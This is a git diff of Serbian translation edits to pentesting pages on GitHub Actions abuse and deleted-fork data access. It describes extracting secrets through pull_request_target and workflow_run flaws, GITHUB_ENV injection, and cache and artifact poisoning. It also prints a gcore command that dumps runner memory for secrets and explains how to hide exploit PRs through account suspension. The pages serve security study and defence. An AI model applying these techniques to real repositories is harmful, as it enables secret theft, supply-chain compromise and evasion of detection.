-- **Komprimujete implementacije** i druge **artefakte**.
-- Ako pipeline implementira ili skladišti resurse, mogli biste izmeniti konačni proizvod, omogućavajući napad na lanac snabdevanja.
+- **Kompromitujete implementacije** i druge **artefakte**.
+- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja.
- **Izvršite kod u prilagođenim radnicima** da zloupotrebite računske resurse i pivotirate na druge sisteme.
- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
@@ -32,10 +32,10 @@ Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.toke
-Ovaj token je isti koji će **Github aplikacija koristiti**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ovaj token je isti onaj koji će **Github aplikacija koristiti**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
+> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repozitorijum može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
@@ -134,7 +134,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-Moguće je proveriti dozvole date Github Token-u u drugim korisničkim repozitorijumima **proverom logova** akcija:
+Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija:
@@ -151,9 +151,9 @@ U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i mož
### Izvršenje iz Nove Grane
-Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **ekstrahovati tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
+Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete ga **modifikovati**, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
-Možete napraviti modifikovanu akciju izvršnom **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
+Možete napraviti modifikovanu akciju izvršnom **ručno,** kada se **PR kreira** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -167,23 +167,23 @@ branches:
```
---
-## Forked Execution
+## Forkovana Izvršenja
> [!NOTE]
> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
### `pull_request`
-Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
+Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: po defaultu, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
> [!NOTE]
-> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važeće greške/pravopisne greške** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
+> Pošto je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važeće greške/typo-a** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
>
> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~
-Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**dokumentaciji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Pored toga, po defaultu **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**dokumentaciji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.
@@ -192,16 +192,16 @@ Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljn
> [!CAUTION]
> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**
-Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisanih dozvola na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
+Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisanih dozvola na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
### **`pull_request_target`**
Okidač radnog toka **`pull_request_target`** ima **pisane dozvole** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).
-Napomena: okidač radnog toka **`pull_request_target`** **izvršava se u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-Može izgledati kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
+Može izgledati kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, da je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
A ovaj će imati **pristup tajnama**.
@@ -209,7 +209,7 @@ A ovaj će imati **pristup tajnama**.
Okidač [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.
-U ovom primeru, radni tok je konfiguran da se izvrši nakon što se završi odvojeni "Pokreni testove" radni tok:
+U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:
```yaml
on:
workflow_run:
@@ -217,31 +217,31 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.
+Pored toga, prema dokumentaciji: Radni tok pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni radni tok nije**.
-Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
-Drugi se sastoji od **prosleđivanja** **artifact-a** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artifact-a na način koji ga čini **ranjivim na RCE**.
+Ova vrsta radnog toka može biti napadnuta ako se **oslanja** na **radni tok** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog radnog toka koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}`\
+Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** radni tok i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**.
### `workflow_call`
TODO
-TODO: Proveriti da li kada se izvršava iz pull_request-a korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR-a
+TODO: Proveriti da li kada se izvršava iz `pull_request`, korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR
## Zloupotreba Forkovane Izvršavanja
-Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako ove izvršavanja, ako su loše konfigurisane, mogu biti zloupotrebljene:
+Pomenuli smo sve načine na koje bi spoljašnji napadač mogao uspeti da pokrene github radni tok, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene:
### Nepouzdan checkout izvršavanje
-U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR-a** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i biće izvršen sa nekim [ograničenjima](./#pull_request).
+U slučaju **`pull_request`,** radni tok će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **odobri** i biće izvršen sa nekim [ograničenjima](./#pull_request).
-U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
+U slučaju radnog toka koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od radnog toka koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
> [!CAUTION]
-> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR-a** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
+> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće kod pod kontrolom napadača. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
-
# INSECURE. Pruženo samo kao primer.
+
# INSECURE. Provided as an example only.
on:
pull_request_target
@@ -266,13 +266,13 @@ arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
-Hvala!
+Thank you!
-Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirane **pakete pod kontrolom autora PR-a**.
+Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**.
> [!WARNING]
-> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
+> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da budu izvršeni sigurno čak i ako je akcija konfigurisana nesigurno (poput korišćenja uslovnih izraza o tome ko je akter koji generiše PR).
### Kontekst Injekcije Skripti
@@ -284,11 +284,11 @@ gh-actions-context-script-injections.md
### **GITHUB_ENV Injekcija Skripti**
-Iz dokumenata: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
+Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u radnom toku tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u narednim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
-Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artifact da čuva svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
+Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite radni tok koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
@@ -296,11 +296,11 @@ Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalat
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artifact-ima iz različitih workflow-a i čak repozitorijuma.
+Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma.
-Problem je u tome što ako **`path`** parametar nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u workflow-u. Stoga, ako je Artifact ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge workflow-e koji veruju Artifact-u.
+Glavni problem je što ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi mogle biti kasnije korišćene ili čak izvršene u radnom toku. Stoga, ako je Artefakt ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge radne tokove koji veruju Artefaktu.
-Primer ranjivog workflow-a:
+Primer ranjivog radnog toka:
```yaml
on:
workflow_run:
@@ -323,7 +323,7 @@ with:
name: artifact
path: ./script.py
```
-Ovo bi moglo biti napadnuto ovim radnim tokom:
+Ovo bi moglo biti napadnuto ovom radnom procedurom:
```yaml
name: "some workflow"
on: pull_request
@@ -356,9 +356,9 @@ Ako su drugi repozitorijumi koristili **zavisnosti iz ovih korisničkih repozito
## Repo Pivoting
> [!NOTE]
-> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi**, pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
+> U ovoj sekciji ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa na prvom (proverite prethodnu sekciju).
-### Trovanje Kešom
+### Trovanje Keša
Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.
@@ -366,7 +366,7 @@ Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što zna
gh-actions-cache-poisoning.md
{{#endref}}
-### Trovanje Artefaktima
+### Trovanje Artefakata
Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:
@@ -466,11 +466,11 @@ key: ${{ secrets.PUBLISH_KEY }}
### Zloupotreba samostalno hostovanih izvršilaca
-Način da se pronađe koje **Github Actions se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github Action.
+Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije.
**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? servis za metapodatke?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** druge.
-U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem njegove memorije:
+U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -517,12 +517,12 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
-Korisnik sa pravima čitanja nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
+Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Zatim, korisnik može pretraživati **leakovane tajne u slojevima Docker slike:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -534,9 +534,9 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
## Sakrivanje tragova
-(Teknika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji obrt. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
+(Teknika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
-Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.
+Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na GitHub-u.
> [!WARNING]
> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index f77c0d2d3..936c23e27 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1 +1 @@
-# GH Actions - Cache Poisoning
+# GH Actions - Zagađenje keša
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 997bd584f..e5b89472b 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1 +1 @@
-# Gh Actions - Kontekstualne Injekcije Skripti
+# Gh Actions - Injekcije skripti u kontekstu
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 5d49c6a11..4c89905b3 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,10 +1,10 @@
-# Accessible Deleted Data in Github
+# Pristupačni Obbrisani Podaci na Githubu
{{#include ../../banners/hacktricks-training.md}}
-Ovi načini za pristup podacima sa GitHub-a koji su navodno obrisani su [**prijavljeni u ovom blog postu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Ovi načini pristupa podacima sa Github-a koji su navodno obrisani su [**prijavljeni u ovom blog postu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accessing Deleted Fork Data
+## Pristup Obbrisanom Fork Podacima
1. Forkujete javni repozitorijum
2. Komitujete kod u vaš fork
@@ -13,31 +13,44 @@ Ovi načini za pristup podacima sa GitHub-a koji su navodno obrisani su [**prija
> [!CAUTION]
> Podaci komitovani u obrisanom forku su i dalje dostupni.
-## Accessing Deleted Repo Data
+## Pristup Obbrisanom Repo Podacima
-1. Imate javni repozitorijum na GitHub-u.
-2. Korisnik fork-uje vaš repozitorijum.
+1. Imate javni repo na GitHub-u.
+2. Korisnik fork-uje vaš repo.
3. Komitujete podatke nakon što su fork-ovali (i nikada ne sinhronizuju svoj fork sa vašim ažuriranjima).
-4. Brišete ceo repozitorijum.
+4. Brišete ceo repo.
> [!CAUTION]
-> Čak i ako ste obrisali vaš repozitorijum, sve promene napravljene na njemu su i dalje dostupne kroz forke.
+> Čak i ako ste obrisali vaš repo, sve promene napravljene na njemu su i dalje dostupne kroz forke.
-## Accessing Private Repo Data
+## Pristup Privatnim Repo Podacima
-1. Kreirate privatni repozitorijum koji će na kraju postati javan.
-2. Kreirate privatnu, internu verziju tog repozitorijuma (putem forkovanja) i komitujete dodatni kod za funkcije koje nećete učiniti javnim.
+1. Kreirate privatni repo koji će na kraju postati javan.
+2. Kreirate privatnu, internu verziju tog repoa (putem fork-ovanja) i komitujete dodatni kod za funkcije koje nećete učiniti javnim.
3. Činite vaš “upstream” repozitorijum javnim i zadržavate vaš fork privatnim.
> [!CAUTION]
-> Moguće je pristupiti svim podacima koji su poslati u internu fork u vremenu između kada je interna fork kreirana i kada je javna verzija postala javna.
+> Moguće je pristupiti svim podacima koji su poslati na internu fork u vremenu između kada je interna fork kreirana i kada je javna verzija postala javna.
-## How to discover commits from deleted/hidden forks
+## Kako otkriti komite iz obrisanih/skrivenih forka
Isti blog post predlaže 2 opcije:
-### Directly accessing the commit
+### Direktan pristup komitu
Ako je poznata vrednost ID-a komita (sha-1), moguće je pristupiti mu na `https://github.com///commit/`
-### Brute-forcing short SHA-1 values
+### Brute-forcing kratkih SHA-1 vrednosti
+
+Isto je pristupiti oba od ovih:
+
+- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
+- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
+
+I poslednji koristi kratak sha-1 koji se može bruteforce-ovati.
+
+## Reference
+
+- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 2c05fb66e..40a78d7c3 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -16,7 +16,7 @@ I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
### Uloge u preduzeću
-- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, oni **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija.
+- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija.
- **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**.
### Uloge u organizaciji
@@ -24,7 +24,7 @@ I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
U organizaciji korisnici mogu imati različite uloge:
- **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji.
-- **Članovi organizacije**: **Podrazumevana**, neadministrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**.
+- **Članovi organizacije**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**.
- **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju.
- **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji.
- Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju.
@@ -37,15 +37,15 @@ Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com
Na _https://github.com/organizations/\/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
-Postavke ovde konfigurisane će ukazivati na sledeće dozvole članova organizacije:
+Postavke ovde konfigurirane će ukazivati na sledeće dozvole članova organizacije:
- Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije.
-- Da li članovi mogu kreirati privatne, interne ili javne repozitorijume.
-- Da li je moguće fork-ovati repozitorijume.
-- Da li je moguće pozvati spoljne saradnike.
-- Da li se mogu objavljivati javne ili privatne stranice.
+- Ako članovi mogu kreirati privatne, interne ili javne repozitorijume.
+- Ako je moguće fork-ovati repozitorijume.
+- Ako je moguće pozvati spoljne saradnike.
+- Ako se mogu objaviti javne ili privatne stranice.
- Dozvole koje administratori imaju nad repozitorijumima.
-- Da li članovi mogu kreirati nove timove.
+- Ako članovi mogu kreirati nove timove.
### Uloge u repozitorijumu
@@ -85,7 +85,7 @@ Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogu
#### **GPG ključevi**
-Ne **možete se pretvarati da ste korisnik sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode ovde](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Ne možete **imiti korisnika sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Lični pristupni tokeni**
@@ -93,7 +93,7 @@ Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem n
### Oauth aplikacije
